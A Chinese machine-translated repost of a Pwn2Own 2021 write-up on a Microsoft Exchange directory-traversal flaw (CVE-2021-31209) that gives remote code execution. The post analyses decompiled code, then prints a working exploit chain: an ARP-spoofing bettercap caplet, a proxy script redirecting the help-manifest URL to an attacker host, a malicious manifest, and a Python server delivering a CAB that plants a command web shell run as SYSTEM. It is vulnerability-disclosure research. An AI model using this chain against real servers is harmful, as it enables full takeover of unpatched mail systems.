译文 | Pwn2Own 温哥华 2021 :: Microsoft Exchange Server 远程代码执行

admin 2022年1月7日07:10:30评论53 views字数 12143阅读40分28秒阅读模式
译文 | Pwn2Own 温哥华 2021 :: Microsoft Exchange Server 远程代码执行

开卷有益 · 不求甚解

译文 | Pwn2Own 温哥华 2021 :: Microsoft Exchange Server 远程代码执行

前言

译文 | Pwn2Own 温哥华 2021 :: Microsoft Exchange Server 远程代码执行
Exchange

2020 年 11 月中旬,我在 Microsoft Exchange Server 中发现了一个逻辑远程代码执行漏洞,该漏洞有一个奇怪的转折——它需要在触发之前进行中间人劫持(MiTM) 攻击。我发现这个错误是因为我正在寻找调用 以WebClient.DownloadFile希望发现服务器端请求伪造漏洞,因为在Exchange服务器内的某些环境中,这种类型的漏洞可能会产生巨大影响。后来,我发现SharePoint Server也受到相同的代码的影响。

这篇文章是我在 Pwn2Own Vancouver 2021 上使用的漏洞的快速分解,部分赢得了 Microsoft Exchange Server 的参赛资格。

漏洞摘要

当管理用户在 Exchange 命令行管理程序中运行Update-ExchangeHelporUpdate-ExchangeHelp -Force命令时,处于特权网络位置的未经身份验证的攻击者(例如 MiTM 攻击)可以触发远程代码执行漏洞。

漏洞分析

Microsoft.Exchange.Management.dll文件内部Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand定义了类:

protected override void InternalProcessRecord()
{
    TaskLogger.LogEnter();
    UpdatableExchangeHelpSystemException ex = null;
    try
    {
        ex = this.helpUpdater.UpdateHelp();    // 1
    }
    //...

在*[1] 处*,代码调用该HelpUpdater.UpdateHelp方法。在Microsoft.Exchange.Management.UpdatableHelp.HelpUpdater类内部,我们看到:

internal UpdatableExchangeHelpSystemException UpdateHelp()
{
    double num = 90.0;
    UpdatableExchangeHelpSystemException result = null;
    this.ProgressNumerator = 0.0;
    if (this.Cmdlet.Force || this.DownloadThrottleExpired())
    {
        try
        {
            this.UpdateProgress(UpdatePhase.Checking, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
            string path = this.LocalTempBase + "UpdateHelp.$$$\";
            this.CleanDirectory(path);
            this.EnsureDirectory(path);
            HelpDownloader helpDownloader = new HelpDownloader(this);
            helpDownloader.DownloadManifest();    // 2

此函数执行一些操作。第一个是在*[2]*时DownloadManifest被调用。让我们来看看Microsoft.Exchange.Management.UpdatableHelp.HelpDownloader.DownloadManifest

internal void DownloadManifest()
{
    string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);
    if (!this.helpUpdater.Cmdlet.Abort)
    {
        this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));  // 3
    }
}

在*[3] 处*,代码AsyncDownloadFile使用ManifestUrl. 在ManifestUrl当设置LoadConfiguration方法是从所谓的InternalValidate

protected override void InternalValidate()
{
    TaskLogger.LogEnter();
    UpdatableExchangeHelpSystemException ex = null;
    try
    {
        this.helpUpdater.LoadConfiguration();   // 4
    }
internal void LoadConfiguration()
{
    //...
    RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp");
    if (registryKey3 == null)
    {
        registryKey3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp");
    }
    if (registryKey3 != null)
 {
        try
  {
            this.ManifestUrl = registryKey3.GetValue("ManifestUrl""http://go.microsoft.com/fwlink/p/?LinkId=287244").ToString();  // 5

在*[4] 处*,代码LoadConfiguration在验证 cmdlet 的参数期间调用。这台ManifestUrlhttp://go.microsoft.com/fwlink/p/?LinkId=287244如果注册表配置单元不存在:HKLMSOFTWAREMicrosoftExchangeServerv15UpdateExchangeHelp在*[5]* 。默认情况下,它不会,因此值始终为http://go.microsoft.com/fwlink/p/?LinkId=287244

返回AsyncDownloadFile在*[3]*这种方法将使用WebClient.DownloadFileAsyncAPI下载文件到文件系统。由于我们无法控制本地文件路径,所以这里没有漏洞。稍后UpdateHelp,我们看到以下代码:

//...
if (!this.Cmdlet.Abort)
{
    UpdatableHelpVersionRange updatableHelpVersionRange = helpDownloader.SearchManifestForApplicableUpdates(this.CurrentHelpVersion, this.CurrentHelpRevision); // 6
    if (updatableHelpVersionRange != null)
    {
        double num2 = 20.0;
        this.ProgressNumerator = 10.0;
        this.UpdateProgress(UpdatePhase.Downloading, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
        string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);
        if (array.Length != 0)  // 7
        {
            this.Cmdlet.WriteVerbose(UpdatableHelpStrings.UpdateApplyingRevision(updatableHelpVersionRange.HelpRevision, string.Join(", ", array)));
            helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl);  // 8
            if (this.Cmdlet.Abort)
            {
                return result;
            }
            this.ProgressNumerator += num2;
            this.UpdateProgress(UpdatePhase.Extracting, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
            HelpInstaller helpInstaller = new HelpInstaller(this, array, num);
            helpInstaller.ExtractToTemp();  // 9
            //...

这里有很多东西要打开(请原谅双关语)。在*[6] 处*,代码在下载的清单文件中搜索特定版本或版本范围,并确保 Exchange 服务器的版本在该范围内。该检查还确保新修订号高于当前修订号。如果满足这些要求,则代码继续进行到*[7],在那里检查文化。由于我的目标是英语语言包,因此我将其设置为en以便以后可以构建有效路径。然后,在[8]*的CabinetUrl被下载和存储。这是在 xml 清单文件中指定的 .cab 文件。

最后在*[9]*中,使用以下Microsoft.Exchange.Management.UpdatableHelp.HelpInstaller.ExtractToTemp方法提取 cab 文件:

internal int ExtractToTemp()
{
    this.filesAffected = 0;
    this.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
    this.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
    bool embedded = false;
    string filter = "";
    int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);   // 10
    this.cabinetFiles = new Dictionary<string, List<string>>();
    this.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);
    this.filesAffected = result;
    return result;
}

在 [10] 处,代码调用Microsoft.Exchange.CabUtility.EmbeddedCabWrapper.ExtractCabFiles来自Microsoft.Exchange.CabUtility.dll包含本机代码的混合模式程序集,以使用导出的函数提取 cab 文件ExtractCab。不幸的是,这个解析器在提取之前没有注册回调函数来验证文件不包含目录遍历。这允许我将任意文件写入任意位置。

漏洞利用开发

文件写入漏洞并不一定意味着远程代码执行,但在 Web 应用程序的上下文中,它经常这样做。我在 Pwn2Own 上提出的攻击写入了该C:/inetpub/wwwroot/aspnet_client目录,这允许我向 shell 发出 http 请求,以在没有身份验证的情况下以 SYSTEM 身份执行任意代码。

让我们回顾一下设置,以便我们可以可视化攻击。

设置

第一步将要求您对目标系统执行 ARP 欺骗。对于这个阶段,我选择使用bettercap,它允许您定义可以自动执行的 caplets。我想我上一次进行有针对性的 MiTM 攻击是在大约12年前!这是我的poc.cap文件的内容,它设置了 ARP 欺骗和代理脚本来拦截和响应特定的 http 请求:

set http.proxy.script poc.js
http.proxy on
set arp.spoof.targets 192.168.0.142
events.stream off
arp.spoof on

poc.js文件是我编写的代理脚本,用于拦截目标请求并将其重定向到攻击者托管的配置文件http://192.168.0.56:8000/poc.xml.

function onLoad() {
    log_info("Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability")
    log_info("Found by Steven Seeley of Source Incite")
}

function onRequest(req, res) {
    log_info("(+) triggering mitm");
    var uri = req.Scheme + "://" +req.Hostname + req.Path + "?" + req.Query;
    if (uri === "http://go.microsoft.com/fwlink/p/?LinkId=287244"){
        res.Status = 302;
        res.SetHeader("Location""http://192.168.0.56:8000/poc.xml");
    }
}

poc.xml清单文件包含CabinetUrl托管恶意 cab 文件以及Version更新针对的范围:

<ExchangeHelpInfo>
  <HelpVersions>
    <HelpVersion>
      <Version>15.2.1.1-15.2.999.9</Version>
      <Revision>1</Revision>
      <CulturesUpdated>en</CulturesUpdated>
      <CabinetUrl>http://192.168.0.56:8000/poc.cab</CabinetUrl>
    </HelpVersion>
  </HelpVersions>
</ExchangeHelpInfo>

我将清单和poc.cab文件传送过程打包到一个小的 python http 服务器中,poc.py它也将尝试使用poc.aspx作为 SYSTEM 执行的命令访问文件:

import sys
import base64
import urllib3
import requests
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class CabRequestHandler(SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        if self.path.endswith("poc.xml"):
            print("(+) delivering xml file...")
            xml = """<ExchangeHelpInfo>
  <HelpVersions>
    <HelpVersion>
      <Version>15.2.1.1-15.2.999.9</Version>
      <Revision>%s</Revision>
      <CulturesUpdated>en</CulturesUpdated>
      <CabinetUrl>http://%s:8000/poc.cab</CabinetUrl>
    </HelpVersion>
  </HelpVersions>
</ExchangeHelpInfo>"
"" % (r, s)
            self.send_response(200)
            self.send_header('Content-Type''application/xml')
            self.send_header("Content-Length", len(xml))
            self.end_headers()
            self.wfile.write(str.encode(xml))
        elif self.path.endswith("poc.cab"):
            print("(+) delivering cab file...")
            # created like: makecab /d "CabinetName1=poc.cab" /f files.txt
            # files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"
            # poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%> 
            stage_2  = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA"
            stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290"
            stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM"
            stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA=="
            p = base64.b64decode(stage_2.encode('utf-8'))
            self.send_response(200)
            self.send_header('Content-Type''application/x-cab')
            self.send_header("Content-Length", len(p))
            self.end_headers()
            self.wfile.write(p)
            return

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print("(+) usage: %s <target> <connectback> <revision> <cmd>" % sys.argv[0])
        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0])
        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 "whoami > c:/poc.txt"" % sys.argv[0])
        sys.exit(-1)
    t = sys.argv[1]
    s = sys.argv[2]
    port = 8000
    r = sys.argv[3]
    c = sys.argv[4]
    print("(+) server bound to port %d" % port)
    print("(+) targeting: %s using cmd: %s" % (t, c))
    httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler)
    handlerthr = Thread(target=httpd.serve_forever, args=())
    handlerthr.daemon = True
    handlerthr.start()
    p = { "c" : "/c %s" % c }
    try:
        while 1:
            req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False)
            if req.status_code == 200:
                break
        print("(+) executed %s as SYSTEM!" % c)
    except KeyboardInterrupt:
        pass

在每次攻击尝试时,都Revision需要增加数字,因为代码会将值写入注册表,并且在下载清单文件后,将Revision在继续下载和提取 cab 文件之前验证文件包含更高的数字。

绕过 Windows Defender

执行mspaint很酷,但对于 Pwn2Own 我们需要一个 Defender 绕过pop thy shell. 在Orange Tsai放弃了他的ProxyLogin漏洞利用细节之后,微软决定尝试检测 asp.net web shell。因此,我采用了与 Orange 不同的方法,编译了一个自定义二进制文件,该二进制文件执行了一个反向 shell 并将其放到磁盘上,最后绕过 Defender。

示例攻击

我们首先使用poc.capcaplet 文件运行 Bettercap :

researcher@pluto:~/poc-exchange$ sudo bettercap -caplet poc.cap
bettercap v2.28 (built for linux amd64 with go1.13.12) [type 'help' for a list of commands]

[12:23:13] [sys.log] [inf] Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability
[12:23:13] [sys.log] [inf] Found by Steven Seeley of Source Incite
[12:23:13] [sys.log] [inf] http.proxy enabling forwarding.
[12:23:13] [sys.log] [inf] http.proxy started on 192.168.0.56:8080 (sslstrip disabled)

现在我们 ping 目标(更新目标缓存的 Arp 表)并运行poc.py并等待管理用户运行Update-ExchangeHelpUpdate-ExchangeHelp -Force在 Exchange 管理控制台 (EMC) 中运行(-Force如果Update-ExchangeHelp命令在过去 24 小时内运行过,则需要):

researcher@pluto:~/poc-exchange$ ./poc.py 
(+) usage: ./poc.py <target> <connectback> <revision> <cmd>
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 "whoami > c:/poc.txt"

researcher@pluto:~/poc-exchange$ ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) server bound to port 8000
(+) targeting: 192.168.0.142 using cmd: mspaint
(+) delivering xml file...
(+) delivering cab file...
(+) executed mspaint as SYSTEM!


译文 | Pwn2Own 温哥华 2021 :: Microsoft Exchange Server 远程代码执行

译文 | Pwn2Own 温哥华 2021 :: Microsoft Exchange Server 远程代码执行

image

结论

这不是第一次在 Pwn2Own 上使用 MiTM 攻击,很高兴找到一个与比赛中其他研究人员没有冲突的漏洞。这只有通过在Exchange Server中找到新的攻击面来猎取漏洞才能实现。逻辑漏洞总是很有趣,因为它几乎总是意味着被利用,而这些相同的问题很难用传统的自动化工具发现。有人认为,所有网络漏洞实际上都是合乎逻辑的。即使是基于 Web 的注入漏洞,因为它们不需要操作内存,并且可以临时重复攻击。

这个漏洞对Exchange服务器的影响相当大,因为EMC通过PS-Remoting连接到IIS服务,而IIS服务被配置为SYSTEM运行。而SharePoint服务器则不然,SharePoint Management Shell(SMS)直接受到影响,在用户运行SMS时实现代码执行。

Microsoft 将此问题修补为CVE-2021-31209,如果您尚未部署该补丁,我们建议您立即部署。

参考

  • https://www.zerodayinitiative.com/advisories/ZDI-21-615/
  • https://www.zerodayinitiative.com/advisories/ZDI-21-826/

译文申明

  • 文章来源为近期阅读文章,质量尚可的,大部分较新,但也可能有老文章。
  • 开卷有益,不求甚解,不需面面俱到,能学到一个小技巧就赚了。
  • 译文仅供参考,具体内容表达以及含义, 以原文为准 (译文来自自动翻译)
  • 如英文不错的,尽量阅读原文。(点击原文跳转)
  • 每日早读基本自动化发布( 3-7天定期删除),这是一项测试

最新动态 Follow Me

微信/微博:red4blue

公众号/知乎:blueteams

译文 | Pwn2Own 温哥华 2021 :: Microsoft Exchange Server 远程代码执行

本文始发于微信公众号(甲方安全建设):译文 | Pwn2Own 温哥华 2021 :: Microsoft Exchange Server 远程代码执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月7日07:10:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   译文 | Pwn2Own 温哥华 2021 :: Microsoft Exchange Server 远程代码执行http://cn-sec.com/archives/472567.html

发表评论

匿名网友 填写信息